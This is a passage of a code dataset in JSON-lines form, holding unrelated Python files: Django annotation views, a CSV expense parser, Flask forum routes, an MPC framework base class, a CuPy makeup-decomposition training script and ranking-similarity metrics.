{'form': form, 'person_formset': person_formset, 'inscription_formset': inscription_formset, 'image_link': image_link})\n\n\n@login_required(login_url=reverse_lazy('rome_login'))\ndef new_print_annotation(request, print_id):\n print_pid = '%s:%s' % (PID_PREFIX, print_id)\n from .forms import AnnotationForm, PersonForm, InscriptionForm\n PersonFormSet = formset_factory(PersonForm)\n InscriptionFormSet = formset_factory(InscriptionForm)\n if request.method == 'POST':\n form = AnnotationForm(request.POST)\n person_formset = PersonFormSet(request.POST, prefix='people')\n inscription_formset = InscriptionFormSet(request.POST, prefix='inscriptions')\n if form.is_valid() and person_formset.is_valid() and inscription_formset.is_valid():\n if request.user.first_name:\n annotator = u'%s %s' % (request.user.first_name, request.user.last_name)\n else:\n annotator = u'%s' % request.user.username\n annotation = Annotation.from_form_data(print_pid, annotator, form.cleaned_data, person_formset.cleaned_data, inscription_formset.cleaned_data)\n try:\n response = annotation.save_to_bdr()\n logger.info('%s added annotation %s for %s' % (request.user.username, response['pid'], print_id))\n return HttpResponseRedirect(reverse('specific_print', kwargs={'print_id': print_id}))\n except Exception as e:\n logger.error('%s' % e)\n return HttpResponseServerError('Internal server error. Check log.')\n else:\n inscription_formset = InscriptionFormSet(prefix='inscriptions')\n person_formset = PersonFormSet(prefix='people')\n form = AnnotationForm()\n\n image_link = 'https://%s/viewers/image/iip/%s' % (BDR_SERVER, print_pid)\n return render(request, 'rome_templates/new_annotation.html',\n {'form': form, 'person_formset': person_formset, 'inscription_formset': inscription_formset, 'image_link': image_link})\n\n\ndef get_bound_edit_forms(annotation, AnnotationForm, PersonFormSet, InscriptionFormSet):\n person_formset = PersonFormSet(initial=annotation.get_person_formset_data(), prefix='people')\n inscription_formset = InscriptionFormSet(initial=annotation.get_inscription_formset_data(), prefix='inscriptions')\n form = AnnotationForm(annotation.get_form_data())\n return {'form': form, 'person_formset': person_formset, 'inscription_formset': inscription_formset}\n\n\ndef edit_annotation_base(request, image_pid, anno_pid, redirect_url):\n from .forms import AnnotationForm, PersonForm, InscriptionForm\n PersonFormSet = formset_factory(PersonForm)\n InscriptionFormSet = formset_factory(InscriptionForm)\n context_data = {}\n annotation = Annotation.from_pid(anno_pid)\n if request.method == 'POST':\n #this part here is similar to posting a new annotation\n form = AnnotationForm(request.POST)\n person_formset = PersonFormSet(request.POST, prefix='people')\n inscription_formset = InscriptionFormSet(request.POST, prefix='inscriptions')\n if form.is_valid() and person_formset.is_valid() and inscription_formset.is_valid():\n #update the annotator to be the person making this edit\n if request.user.first_name:\n annotator = u'%s %s' % (request.user.first_name, request.user.last_name)\n else:\n annotator = u'%s' % request.user.username\n annotation.add_form_data(annotator, form.cleaned_data, person_formset.cleaned_data, inscription_formset.cleaned_data)\n try:\n response = annotation.update_in_bdr()\n logger.info('%s edited annotation %s' % (request.user.username, anno_pid))\n return HttpResponseRedirect(redirect_url)\n except Exception as e:\n logger.error('%s' % e)\n return HttpResponseServerError('Internal server error. Check log.')\n else:\n context_data.update({'form': form, 'person_formset': person_formset, 'inscription_formset': inscription_formset})\n else:\n try:\n context_data.update(get_bound_edit_forms(annotation, AnnotationForm, PersonFormSet, InscriptionFormSet))\n except Exception as e:\n logger.error(u'loading data to edit %s: %s' % (anno_pid, e))\n return HttpResponseServerError('Internal server error.')\n\n image_link = 'https://%s/viewers/image/zoom/%s' % (BDR_SERVER, image_pid)\n context_data.update({'image_link': image_link})\n return render(request, 'rome_templates/new_annotation.html', context_data)\n\n\n@login_required(login_url=reverse_lazy('rome_login'))\ndef edit_annotation(request, book_id, page_id, anno_id):\n anno_pid = '%s:%s' % (PID_PREFIX, anno_id)\n page_pid = '%s:%s' % (PID_PREFIX, page_id)\n return edit_annotation_base(request, page_pid, anno_pid, reverse('book_page_viewer', kwargs={'book_id': book_id, 'page_id': page_id}))\n\n\n@login_required(login_url=reverse_lazy('rome_login'))\ndef edit_print_annotation(request, print_id, anno_id):\n anno_pid = '%s:%s' % (PID_PREFIX, anno_id)\n print_pid = '%s:%s' % (PID_PREFIX, print_id)\n return edit_annotation_base(request, print_pid, anno_pid, reverse('specific_print', kwargs={'print_id': print_id}))\n\n\n@login_required(login_url=reverse_lazy('rome_login'))\ndef new_genre(request):\n from .forms import NewGenreForm\n if request.method == 'POST':\n form = NewGenreForm(request.POST)\n if form.is_valid():\n genre = form.save()\n return SimpleTemplateResponse('rome_templates/popup_response.html', {\n 'pk_value': escape(genre._get_pk_val()),\n 'value': escape(genre.serializable_value(genre._meta.pk.attname)),\n 'obj': escapejs(genre)})\n else:\n form = NewGenreForm()\n\n return render(request, 'rome_templates/new_record.html', {'form': form})\n\n\n@login_required(login_url=reverse_lazy('rome_login'))\ndef new_role(request):\n from .forms import NewRoleForm\n if request.method == 'POST':\n form = NewRoleForm(request.POST)\n if form.is_valid():\n role = form.save()\n return SimpleTemplateResponse('rome_templates/popup_response.html', {\n 'pk_value': escape(role._get_pk_val()),\n 'value': escape(role.serializable_value(role._meta.pk.attname)),\n 'obj': escapejs(role)})\n else:\n form = NewRoleForm()\n\n #use the same template for genre and role\n return render(request, 'rome_templates/new_record.html', {'form': form})\n\n\n@login_required(login_url=reverse_lazy('rome_login'))\ndef new_biography(request):\n from .forms import NewBiographyForm\n if request.method == 'POST':\n form = NewBiographyForm(request.POST)\n if form.is_valid():\n bio = form.save()\n return SimpleTemplateResponse('rome_templates/popup_response.html', {\n 'pk_value': escape(bio._get_pk_val()),\n 'value': escape(bio.serializable_value(bio._meta.pk.attname)),\n 'obj': escapejs(bio)})\n else:\n form = NewBiographyForm()\n\n #use the same template for genre and role\n return render(request, 'rome_templates/new_record.html', {'form': form})\n\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":35378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"105760186","text":"'''\nCreated on Feb 11, 2018\n\n@author: ezliuti\n'''\nimport csv, os\n\ndef parse_csv(filename):\n with open(filename) as f:\n reader = csv.reader(f)\n return list(reader)[1:]\n\ndef calculate_total_expenses(data):\n expense_dict = {}\n expense_list = []\n for record in data:\n month = change_date_format(r'/'.join([record[0].split(r'/')[0], record[0].split(r'/')[2]]))\n if month not in expense_dict:\n expense_dict[month] = 0\n expense = round(float(record[5].replace(',', '')), 2) + round(float(record[7].replace(',', '')), 2)\n expense_dict[month] = round(expense_dict[month] + expense, 2)\n for item in expense_dict.items():\n expense_list.append({'month': item[0],\n 'expense': item[1]})\n return expense_list\n\ndef change_date_format(date):\n month, year = date.split('/')\n return year + '/' + month\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"120851182","text":"from app import app\nfrom flask import render_template, redirect, request\nimport messages, users, threads, forums\n\ndef append_string_length_error(list, string, stringname, min_length, max_length):\n if len(string) < min_length:\n list.append(f\"The {stringname} is too short\")\n elif len(string) > max_length:\n list.append(f\"The {stringname} is too long\")\n\n@app.route(\"/send\", methods=[\"POST\"])\ndef send():\n content = request.form[\"content\"]\n error_messages = []\n append_string_length_error(error_messages, content, \"message\", 1, 1000)\n if len(error_messages) > 0:\n return render_template(\"error.html\", messages=error_messages)\n if messages.send(content):\n return redirect(\"/\")\n else:\n return render_template(\"error.html\", message=\"Failed to send the message.\")\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"GET\":\n return render_template(\"login.html\")\n if request.method == \"POST\":\n username = request.form[\"username\"]\n password = request.form[\"password\"]\n error_messages = []\n append_string_length_error(error_messages, username, \"username\", 1, 50)\n append_string_length_error(error_messages, password, \"password\", 1, 50)\n if len(error_messages) > 0:\n return render_template(\"error.html\", messages=error_messages)\n if users.login(username, password):\n return redirect(\"/\")\n else:\n return render_template(\"error.html\", message=\"Wrong username or password.\")\n\n@app.route(\"/logout\")\ndef logout():\n users.logout()\n return redirect(\"/\")\n\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n if request.method == \"GET\":\n return render_template(\"register.html\")\n if request.method == \"POST\":\n username = request.form[\"username\"]\n password = request.form[\"password\"]\n error_messages = []\n append_string_length_error(error_messages, username, \"username\", 4, 30)\n append_string_length_error(error_messages, password, \"password\", 8, 30)\n if len(error_messages) > 0:\n return render_template(\"error.html\", messages=error_messages)\n if users.register(username, password):\n return redirect(\"/\")\n else:\n return render_template(\"error.html\", message=\"Registration failed.\")\n\n@app.route(\"/myprofile\")\ndef myprofile():\n id = users.user_id()\n return redirect(\"/profile/\"+str(id))\n\n@app.route(\"/profile/\")\ndef profile(id):\n allow = False\n if users.is_admin():\n allow = True\n elif users.user_id() == id:\n allow = True\n if allow:\n user = users.get_user(id)\n if user == None:\n return render_template(\"error.html\", \n message=f\"No user with id {id} exists.\")\n username = user[0]\n is_admin = user[1]\n return render_template(\"profile.html\", \n user_id=id, username=username, is_admin=is_admin)\n else:\n return render_template(\"error.html\", \n message=\"Your account has insufficient rights to view this page.\")\n\n@app.route(\"/deletemessage/\")\ndef deletemessage(id):\n if messages.hide(id):\n return redirect(\"/\")\n else:\n return render_template(\"error.html\", message=\"Message deletion failed.\")\n\n@app.route(\"/thread/\")\ndef thread(id):\n if users.is_admin():\n list = threads.get_thread_with_invisible(id)\n else:\n list = threads.get_thread(id)\n thread_attributes = threads.get_thread_attributes(id)\n return render_template(\"thread.html\", count=len(list), messages=list, id=id, \n thread_attributes=thread_attributes)\n\n@app.route(\"/threads\")\ndef get_threads():\n if users.is_admin():\n list = threads.get_threads_with_invisible()\n else:\n list = threads.get_threads()\n return render_template(\"threads.html\", count=len(list), threads=list)\n\n@app.route(\"/thread//delete\")\ndef deletethread(id):\n if threads.hide_thread(id):\n return redirect(\"/\")\n else:\n return render_template(\"error.html\", message=\"Thread deletion failed.\")\n\n@app.route(\"/thread//reply\", methods=[\"POST\"])\ndef reply(id):\n content = request.form[\"content\"]\n error_messages = []\n append_string_length_error(error_messages, content, \"message\", 1, 1000)\n if len(error_messages) > 0:\n return render_template(\"error.html\", messages=error_messages)\n if threads.reply(id, content):\n return redirect(\"/thread/\"+str(id))\n else:\n return render_template(\"error.html\", message=\"Sending message failed.\")\n\n@app.route(\"/search\")\ndef search():\n return render_template(\"search.html\")\n\n@app.route(\"/result\")\ndef result():\n query = request.args[\"query\"]\n order = request.args[\"order\"]\n list = messages.result(query, order)\n return render_template(\"result.html\", query=query, order=order, count=len(list), \n messages=list)\n\n@app.route(\"/editmessage/\", methods=[\"GET\", \"POST\"])\ndef editmessage(id):\n attributes = messages.get_message_attributes(id)\n if request.method == \"GET\":\n return render_template(\"editmessage.html\", id=id, content=attributes[0])\n if request.method == \"POST\":\n content = request.form[\"content\"]\n error_messages = []\n append_string_length_error(error_messages, content, \"message\", 1, 1000)\n if len(error_messages) > 0:\n return render_template(\"error.html\", messages=error_messages)\n if messages.edit_message(id, content):\n return redirect(\"/thread/\"+str(attributes[1]))\n else:\n return render_template(\"error.html\", message=\"Failed to edit the message.\")\n\n@app.route(\"/\")\ndef index():\n latest = messages.get_latest_messages()\n forum_list = forums.get_forums()\n return render_template(\"index.html\", count=len(latest), messages=latest, \n forums=forum_list)\n\n@app.route(\"/forum/\")\ndef forum(id):\n threads = forums.get_forum_threads(id)\n attributes = forums.get_forum_attributes(id)\n return render_template(\"forum.html\", count=len(threads), threads=threads, id=id, \n attributes=attributes)\n\n@app.route(\"/forum//newthread\", methods=[\"POST\"])\ndef forum_newthread(id):\n content = request.form[\"content\"]\n error_messages = []\n append_string_length_error(error_messages, content, \"message\", 1, 60)\n if len(error_messages) > 0:\n return render_template(\"error.html\", messages=error_messages)\n if forums.newthread(id, content):\n return redirect(\"/forum/\"+str(id))\n else:\n return render_template(\"error.html\", message=\"Thread creation failed failed.\")","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":6709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"32956666","text":"#!/usr/bin/env python3\n# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport abc\nimport csv\nimport logging\nimport pathlib\nfrom typing import Dict, List, Optional\n\nfrom fbpcs.pcf.errors import (\n MPCStartupError,\n SetupAlreadyDoneError,\n UnsupportedGameForFrameworkError,\n)\nfrom fbpcs.pcf.structs import Game, InputColumn, Metric, Player, Role, Status\n\n\nclass MPCFramework(abc.ABC):\n \"\"\"\n This class represents an abstract MPCFramework. It includes some helper\n methods related to reading process streams from `asyncio.Process` and for\n spawning those processes through `asyncio.create_subprocess_exec`. To make a\n concrete class from this, the subclass must define the `abc.abstractmethod`s\n for `prepare_input` and `run_mpc`.\n \"\"\"\n\n # List of supported games for a given framework\n # Subclasses should override this field\n SUPPORTED_GAMES: List[Game] = []\n\n def __init__(\n self,\n game: Game,\n input_file: pathlib.Path,\n output_file: str,\n player: Player,\n other_players: List[Player],\n connect_timeout: int,\n run_timeout: int,\n output_s3_path: Optional[str] = None,\n log_level: int = logging.INFO,\n ):\n if not self.supports_game(game):\n raise UnsupportedGameForFrameworkError(self, game)\n self.game = game\n self.input_file = input_file\n self.output_file = output_file\n self.output_s3_path = output_s3_path\n self.player = player\n self.other_players = other_players\n self.connect_timeout = connect_timeout\n self.run_timeout = run_timeout\n self.base_logger = logging.getLogger(f\"{self.__class__.__name__} base\")\n self.base_logger.setLevel(log_level)\n self.base_logger.info(\"Calling pre_setup\")\n self.__setup_done = False\n self.pre_setup()\n self.__setup_done = True\n\n def pre_setup(self) -> None:\n \"\"\"\n This method is called within __init__ for any setup that needs to occur\n before anything else in an MPCFramework. Subclasses may choose to extend\n its functionality.\n \"\"\"\n if self.__setup_done:\n self.base_logger.error(\"pre_setup was erroneously called twice\")\n raise SetupAlreadyDoneError()\n\n @classmethod\n def supports_game(cls, game: Game) -> bool:\n \"\"\"\n Returns whether or not this MPCFramework supports the given game\n \"\"\"\n return game in cls.SUPPORTED_GAMES\n\n async def prepare_input(self) -> Status:\n \"\"\"\n Method that will be called to prepare input for an MPCFramework.\n This function takes `self.input_file` (given as a CSV) and converts it\n as necessary into a usable format for the framework.\n \"\"\"\n\n with open(self.input_file) as fin:\n reader = csv.DictReader(fin)\n fieldnames = reader.fieldnames\n if fieldnames is None:\n raise ValueError(\"fieldnames is None from csv reader\")\n for col in self.game.input_columns[self.player.role]:\n # Don't look for a literal column labeled \"features\"\n if col != InputColumn.features and str(col) not in fieldnames:\n raise MPCStartupError(f\"{col} column required in input CSV\")\n\n return Status.OK\n\n @abc.abstractmethod\n async def run_mpc(self) -> Dict[str, Dict[Metric, int]]:\n \"\"\"\n Abstract method that is called to actually run the MPC program and get\n its results. Results are returned as a map of metrics to their values.\n For example, if a framework writes output data to a CSV, this method\n would be responsible for converting it into a format like so:\n `{Metric.sales_test: 12345.00, Metric.sales_control: 10000.0, ...}`\n \"\"\"\n pass\n\n @staticmethod\n @abc.abstractmethod\n def get_max_rows_per_partition() -> int:\n \"\"\"\n Returns pre-defined, constant max rows per partition\n \"\"\"\n pass\n\n\nclass TwoPCFramework(MPCFramework):\n \"\"\"\n This class represents an abstract TwoPCFramework that extends MPCFramework\n in order to support 2PC (two-party computation) only.\n \"\"\"\n\n def pre_setup(self) -> None:\n super().pre_setup()\n num_other = len(self.other_players)\n if num_other != 1:\n raise MPCStartupError(\n f\"TwoPCFramework only supports 2 players, but got {num_other} other players\"\n )\n\n\nclass ServerClientMPCFramework(MPCFramework):\n \"\"\"\n This class represents an abstract MPCFramework that extends MPCFramework\n in order to support server-client architecture frameworks.\n In these frameworks, the client knows about the server, but the server does\n not need to know anything about the client before starting the computation.\n ASSUMPTION: The PUBLISHER role will always act as the SERVER\n \"\"\"\n\n def pre_setup(self) -> None:\n super().pre_setup()\n num_other = len(self.other_players)\n if self.player.role != Role.PUBLISHER and num_other != 1:\n raise MPCStartupError(\n f\"ServerClientMPCFramework expects exactly 1 other player for the client, but got {num_other} other players\"\n )\n","sub_path":"fbpcs/pcf/mpc/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"354951879","text":"\r\nimport numpy as np\r\nimport math\r\nimport os\r\nimport glob\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.utils import shuffle\r\n\r\nimport cupy as cp\r\nimport scipy.spatial as sp\r\nfrom numpy import linalg as LA\r\nimport sys\r\n\r\ndef calculateRMS(x,y):\r\n\r\n error = cp.sqrt(cp.sum((x-y)**2)/2)*2\r\n return error\r\n\r\nfile1 = sys.argv[1]\r\nfile2 = sys.argv[2]\r\n\r\ny = []\r\nlatent = []\r\nnomakeup = []\r\nmakeup = []\r\nfiles = []\r\nfor e in glob.glob(file1):\r\n y.append(-1)\r\n latent.append(np.load(e)[0].ravel())\r\n nomakeup.append(np.load(e)[0])\r\nnomakeup=np.array(nomakeup)\r\nprint(nomakeup.shape)\r\nlatent = np.array(latent)\r\nprint(latent.shape)\r\nnewnomakeup=[]\r\nn=0\r\nfor e in glob.glob(file2):\r\n makeup.append(np.load(e)[0])\r\n y.append(1)\r\n n+=1\r\n\r\nmakeup=np.array(makeup)\r\nc = makeup.shape[1]\r\nwidth = makeup.shape[2]\r\nheight = makeup.shape[3]\r\n\r\nmakeup = cp.asarray(makeup)\r\nnomakeup = cp.asarray(nomakeup)\r\nmakeupim = cp.mean(makeup,axis=0)\r\nnomakeupim = cp.mean(nomakeup, axis=0)\r\nmakeupfeature = cp.subtract(makeupim, nomakeupim)\r\nprint(makeupim.shape)\r\nnomakeup=cp.reshape(nomakeup,(nomakeup.shape[0],c*width,height))\r\nmakeup=cp.reshape(makeup,(makeup.shape[0],c*width,height))\r\n########warp images######\r\n\r\n\r\n#######Initialize the W########\r\nnp.random.seed(42)\r\nmu, sigma = 0, 1\r\nW1 = np.random.normal(mu,sigma,(width, width))\r\nW2 = np.identity(width) - W1\r\nindex = np.array([e for e in range(nomakeup.shape[0])])\r\nindex_shuffle = np.random.permutation(index)\r\n\r\n######prepare model######\r\n\r\n\r\n\r\nl1,l2,l3,l4=0,0,0,0\r\nlr =0.0005\r\nreg_w1 = 0.001\r\nreg_w2 = 0.001\r\n\r\nalpha = 0.001\r\nbeta_1 = 0.9\r\nbeta_2 = 0.999\r\nepsilon = 1e-8\r\nbatch_size = 100\r\nnumbatch = math.ceil(len(index_shuffle)/batch_size)\r\n#print(numbatch)\r\niteration = 10000\r\ntotal_loss=[]\r\nW1 = cp.asarray(W1)\r\nW2 = cp.asarray(W2)\r\n#print(W1-W2)\r\nW = [W1,W2]\r\n\r\nmakeupim = cp.reshape(makeupim,(c*width,height))\r\nnomakeupim = cp.reshape(nomakeupim,(c*width,height))\r\nmakeupfeature = cp.reshape(makeupfeature,(c*width,height))\r\n\r\nfile = sys.argv[3]\r\nif not os.path.exists(file):\r\n os.makedirs(file)\r\n\r\n\r\nreg_l1 = 1e-2\r\nreg_l3 = 1e-3\r\nreg_l4 = 1e-3\r\nreg_l7 = 0.1\r\nreg_l10 = 1e-2\r\nreg_l8 = 1e+3\r\nreg_l11 = 1e+3\r\nreg_l9 = 1e-1\r\n\r\nwith open(file+'hyperparam.txt', 'w') as ff:\r\n for e in [reg_l1,reg_l3, reg_l4, reg_l7, reg_l8, reg_l9, reg_l10, reg_l11]:\r\n ff.write(str(e))\r\n ff.write(' ')\r\nfor num in range(1,iteration+1):\r\n grad_w1lr = []\r\n grad_w2lr = []\r\n lt = 0\r\n t = 0\r\n\r\n m_t = [0,0]\r\n v_t = [0,0]\r\n\r\n nomakeup= shuffle(nomakeup)\r\n makeup = shuffle(makeup)\r\n\r\n for i in range(numbatch):\r\n if (i+1)*batch_size >nomakeup.shape[0]:\r\n start = i * batch_size\r\n end = nomakeup.shape[0]\r\n #print(end)\r\n else:\r\n start = i*batch_size\r\n end = (i+1)*batch_size\r\n dw1 = 0\r\n dw2 = 0\r\n #print(start)\r\n #print(end)\r\n batchloss=0\r\n loss_uni = [0, 0, 0, 0, 0, 0]\r\n for ind in range(start, end):\r\n d_no = nomakeup[ind]\r\n d = makeup[ind]\r\n\r\n d_no = cp.asarray(d_no)\r\n d = cp.asarray(d)\r\n\r\n Pn = cp.dot(d_no, W1)\r\n Pn_e = cp.dot(d_no, W1+(1e-5))\r\n\r\n Mn = cp.dot(d_no, W2)\r\n Mn_e = cp.dot(d_no, W2-(1e-5))\r\n\r\n P = cp.dot(d, W1)\r\n P_e= cp.dot(d,W1+(1e-5))\r\n\r\n M = cp.dot(d, W2)\r\n M_e = cp.dot(d,W2-(1e-7))\r\n\r\n d_notom = Pn + M\r\n d_notom = cp.asarray(d_notom)\r\n P_notom = cp.dot(d_notom, W1)\r\n M_notom = cp.dot(d_notom, W2)\r\n #####calculate loss######\r\n\r\n l1 = calculateRMS(Pn, d_no)\r\n l3 = calculateRMS(M_notom, M)\r\n l4 = calculateRMS(P_notom, Pn)\r\n l7 = calculateRMS(M, makeupfeature)\r\n l8 = (( 1+cp.sum(cp.multiply(P, makeupim)\r\n / (cp.sqrt(cp.sum(cp.power(P.ravel(), 2))) * cp.sqrt(\r\n cp.sum(cp.power(makeupim.ravel(), 2))))))**1)\r\n l9 = calculateRMS(P, nomakeupim)\r\n\r\n l10 = calculateRMS(d_notom, makeupim)\r\n l11 = (( 1+cp.sum(cp.multiply(d_notom, nomakeupim)\r\n / (cp.sqrt(cp.sum(cp.power(d_notom.ravel(), 2))) * cp.sqrt(\r\n cp.sum(cp.power(nomakeupim.ravel(), 2))))))**1)\r\n\r\n loss_uni[0] += l11\r\n loss_uni[1] += l8\r\n loss_uni[2] += l7\r\n loss_uni[3] += l9\r\n loss_uni[4] += l10\r\n loss = l1 + l3+l4+l7+l8+l9+l10+l11\r\n #print(loss)\r\n batchloss += loss\r\n\r\n\r\n ####gradient of loss####\r\n dl1w1 = cp.dot(d_no.T, (Pn-d_no))\r\n dl3w1 = cp.dot((2*P-2*Pn+d_no-d).T, (M_notom-M))\r\n #dl3w2 = -cp.dot((2*M + Pn - d).T, (M_notom-M))\r\n\r\n dl4w1 = cp.dot((2*Pn-2*P + d - d_no).T, (P_notom-Pn))\r\n\r\n\r\n dl7w1 = cp.dot(-d.T, (M - makeupfeature))\r\n dl8w1 = cp.dot(d.T, makeupim)/ (cp.sqrt(cp.sum(cp.power(P, 2))) * cp.sqrt(\r\n cp.sum(cp.power(makeupim, 2))))\r\n dl9w1 = cp.dot(d.T, (P - nomakeupim))\r\n dl10w1 = cp.dot((d_no-d).T, (d_notom - makeupim))\r\n dl11w1 = cp.dot((-d+d_no).T, nomakeupim) / (cp.sqrt(cp.sum(cp.power(d_notom, 2))) * cp.sqrt(\r\n cp.sum(cp.power(nomakeupim, 2))))\r\n dw1 += dl1w1 * reg_l1 + dl3w1*reg_l3 + dl4w1*reg_l4 + dl7w1* reg_l7 + dl10w1*reg_l10 + dl9w1*reg_l9+dl8w1*reg_l8+dl11w1*reg_l11\r\n\r\n\r\n dw = [dw1]\r\n ######Adam optimizer#######\r\n\r\n t +=1\r\n for j in range(len(dw)):\r\n m_t[j] = beta_1 * m_t[j] + (1 - beta_1) * dw[j] # updates the moving averages of the gradient\r\n v_t[j] = beta_2 * v_t[j] + (1 - beta_2) * (dw[j] * dw[j]) # updates the moving averages of the squared gradient\r\n\r\n m_cap = m_t[j] / (1 - (beta_1 ** t)) # calculates the bias-corrected estimates\r\n v_cap = v_t[j] / (1 - (beta_2 ** t)) # calculates the bias-corrected estimates\r\n\r\n W[j] = W[j] - (alpha * m_cap) / (cp.sqrt(v_cap) + epsilon)\r\n W1 = W[0]\r\n W2 = cp.identity(width) - W1\r\n\r\n lt += batchloss/batch_size\r\n\r\n total_loss.append(lt/numbatch)\r\n print('Iteration:'+str(num) +' loss: ' + str(lt/numbatch))\r\n if num % 100 ==0:\r\n np.save(file+str(num)+'face.npy',cp.asnumpy(W1))\r\n np.save(file+str(num)+'makeup.npy',cp.asnumpy(W2))\r\n it = [e for e in range(1, num+1)]\r\n plt.plot(it, total_loss)\r\n plt.xlabel('Iteration')\r\n plt.ylabel('Loss')\r\n plt.savefig(file + 'loss.png')\r\n\r\n\r\n","sub_path":"source code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"134594948","text":"from rbo import rbo\nimport os\nimport pandas\nfrom scipy.stats import kendalltau, spearmanr,weightedtau, spearmanr,wilcoxon\nimport scipy\nfrom math import sqrt\nimport matplotlib.pyplot as plt\n\n#for expression lsits\ndef read_list(path,rows):\n ranked_genes = list()\n i = 0\n with open(path) as f:\n for row in f:\n name = (row.split(\",\")[0]).split(\"_\")[0]\n ranked_genes.append(name)\n i = i+ 1\n if i >= rows:break\n return ranked_genes\n\n#for abi-corr\ndef read_list2(path,rows):\n ranked_genes = list()\n i = 0\n with open(path) as f:\n for row in f:\n if i == 0:\n i = 1\n continue\n name = (row.split(\",\")[1])\n ranked_genes.append(name)\n i = i+ 1\n if i >= rows:break\n return ranked_genes\n\n\n#for reverse sorted lists\ndef read_list3(path,rows):\n all_genes = list()\n ranked_genes = list()\n i = 0\n with open(path) as f:\n for row in f:\n name = (row.split(\",\")[0]).split(\"_\")[0]\n all_genes.append(name)\n for genes in reversed(all_genes):\n ranked_genes.append(genes)\n i = i + 1\n if i >= rows:break\n return ranked_genes\n\n\n#generalized kendall tau:\n\ndef generalized_kendall_tau(list_one,list_two,count):\n all = list_one + list_two\n all = list(set(all))\n\n generalized_kendall_score = 0\n pairs=0\n for a in range(0,len(all)):\n\n for b in range((a+1),len(all)):\n pairs += 1\n i = all[a]\n j = all[b]\n\n try:\n ind = list_one.index(i)\n i_is_in_list_one=True\n rank_list_one_i = ind\n except ValueError:\n i_is_in_list_one = False\n\n try:\n ind = list_two.index(i)\n i_is_in_list_two=True\n rank_list_two_i = ind\n except ValueError:\n i_is_in_list_two = False\n\n try:\n ind = list_one.index(j)\n j_is_in_list_one=True\n rank_list_one_j = ind\n except ValueError:\n j_is_in_list_one = False\n\n try:\n ind = list_two.index(j)\n j_is_in_list_two=True\n rank_list_two_j = ind\n except ValueError:\n j_is_in_list_two = False\n\n\n\n #case 1 : i and j are in both rankings\n\n if i_is_in_list_one and i_is_in_list_two and j_is_in_list_one and j_is_in_list_two:\n if (rank_list_one_i > rank_list_one_j) and (rank_list_two_i > rank_list_two_j) or (rank_list_one_i < rank_list_one_j) and (rank_list_two_i < rank_list_two_j):\n generalized_kendall_score += 0\n else:\n generalized_kendall_score += 1\n\n #case 2: i and j are in one list and either j or i is in second ranking\n if i_is_in_list_one and j_is_in_list_one and i_is_in_list_two and not j_is_in_list_two:\n if(rank_list_one_i > rank_list_one_j):\n generalized_kendall_score += 0\n else:\n generalized_kendall_score +=1\n if i_is_in_list_one and j_is_in_list_one and not i_is_in_list_two and j_is_in_list_two:\n if(rank_list_one_j > rank_list_one_i):\n generalized_kendall_score += 0\n else:\n generalized_kendall_score +=1\n if i_is_in_list_two and j_is_in_list_two and i_is_in_list_one and not j_is_in_list_one:\n if(rank_list_two_i > rank_list_two_j):\n generalized_kendall_score += 0\n else:\n generalized_kendall_score +=1\n if i_is_in_list_two and j_is_in_list_two and not i_is_in_list_one and j_is_in_list_one:\n if(rank_list_two_j > rank_list_two_i):\n generalized_kendall_score += 0\n else:\n generalized_kendall_score +=1\n\n #case 3: i (but not j) appears in one ranking and j (but not i) appears in second ranking)\n if (i_is_in_list_one and not i_is_in_list_two and not j_is_in_list_one and j_is_in_list_two) or (i_is_in_list_two and not i_is_in_list_one and not j_is_in_list_two and j_is_in_list_one):\n generalized_kendall_score += 1\n\n #case 4: i and j are in one ranking, but none is in the other\n if (i_is_in_list_one and j_is_in_list_one and not i_is_in_list_two and not j_is_in_list_two) or (i_is_in_list_two and j_is_in_list_two and not i_is_in_list_one and not j_is_in_list_one):\n generalized_kendall_score += 0.5\n\n\n\n # tau = (pairs - 2*generalized_kendall_score) / pairs\n tau = (pairs - generalized_kendall_score) / pairs\n\n alpha = 0.05\n\n Z = tau / sqrt((2 * (2* count + 5)) / (9*count*(count-1)))\n\n p_value = scipy.stats.norm.sf(abs(Z)) * 2\n\n return tau,Z,p_value\n\n\n\n#ranking for wilcoxon score\n\ndef wilcoxon(list_one,list_two):\n\n list_one_rank = list()\n i = len(list_one)\n for elem in enumerate(list_one):\n list_one_rank.append([i,elem[1]])\n i = i-1\n\n list_two_rank = list()\n\n for elem in list_one:\n try:\n ind = list_two.index(elem)\n list_two_rank.append([list_one_rank[ind][0],elem])\n except ValueError:\n ind = -1\n list_two_rank.append([1,elem])\n\n\n score_list_two = [x[0] for x in list_two_rank]\n score_list_one = [x[0] for x in list_one_rank]\n\n\n s,p = wilcoxon(score_list_one,score_list_two)\n return s,p\n\n\ndef calc_rbo(a,b,p,count):\n scores = rbo(a,b,p)\n min = scores['min']\n res = scores['res']\n ext = scores['ext']\n\n\n Z = ext / sqrt((2 * (2* count + 5)) / (9*count*(count-1)))\n\n p_value = scipy.stats.norm.sf(abs(Z)) * 2\n\n\n\n return ext,p_value\n\n\ndef overlap(a,b):\n common = list(set(a).intersection(b))\n common_no = len(common)\n size = len(a)\n val = float(common_no)/(size)\n return val\n\n#cor,p = weightedtau(score_max,score_mean)\n#print(\"weighted tau\")\n#print(cor)\ncount = 15\n#print(experiment,mean,max, abi)\n#experiment = read_list(\"/home/gentoo/src/similarity/test_strategies/ex_vs_ex_experiment/expression.csv\",count)\nmean = 